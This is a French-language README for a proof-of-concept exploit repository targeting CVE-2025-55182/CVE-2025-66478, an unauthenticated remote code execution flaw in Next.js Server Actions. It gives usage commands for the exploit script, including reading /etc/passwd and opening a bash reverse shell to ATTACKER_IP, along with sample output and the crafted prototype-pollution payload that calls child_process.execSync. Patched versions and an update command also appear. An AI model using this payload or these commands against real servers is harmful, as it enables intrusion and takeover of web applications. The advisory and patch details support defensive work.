
Vulnérabilité critique dans les Server Actions de Next.js permettant une exécution de code à distance sans authentification via la désérialisation du React Flight Protocol
Ce dépôt contient une preuve de concept (PoC) pour la vulnérabilité RCE critique affectant les applications Next.js utilisant les Server Actions (React Server Functions).
| Détail | Informations |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| Sévérité | Critique (CVSS 10.0) |
| React affecté | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js affecté | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| NON affecté | Next.js 14.x stable, 13.x, Pages Router, Edge Runtime |
| Next.js corrigé | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| React corrigé | 19.0.1, 19.1.2, 19.2.1 |
| Type | Exécution de code à distance (RCE) |
| Authentification requise | Aucune |
La vulnérabilité réside dans la manière dont le React Flight Protocol désérialise les chunks lors du traitement des Server Actions. Un attaquant peut exploiter la pollution de prototype via des données de formulaire spécialement conçues pour :
Function par traversée de la chaîne de prototypes (__proto__)Cela se produit avant toute validation de la server action, ce qui rend l'exploitation possible sur toute application Next.js avec les Server Actions activés.
Toute application Next.js est vulnérable si :
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
La sortie de la commande apparaît dans le champ digest.
L'exploit utilise le mécanisme de résolution des chunks du React Flight Protocol :
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Chaîne d'attaque :
$1:__proto__:thenFunction via $1:constructor:constructor_prefixMettez à jour immédiatement :
npm install next@latest
# or
pnpm update next
Versions corrigées : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Remarque : Next.js 14.x stable et 13.x ne sont PAS vulnérables.
⚠️ Ce PoC est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. Les auteurs ne sont pas responsables de toute utilisation abusive.
Basé sur les recherches originales de @msanft. Tout le crédit pour la découverte de la vulnérabilité et le PoC initial leur revient.
RCE Next.js, vulnérabilité Next.js, CVE-2025-55182, CVE-2025-66478, React2Shell, exploit React Server Components, RCE des Server Actions Next.js, pollution de prototype Next.js, vulnérabilité du React Flight Protocol, sécurité Next.js, exécution de code à distance Next.js, exploit PoC Next.js, vulnérabilité des Server Actions, RCE React RSC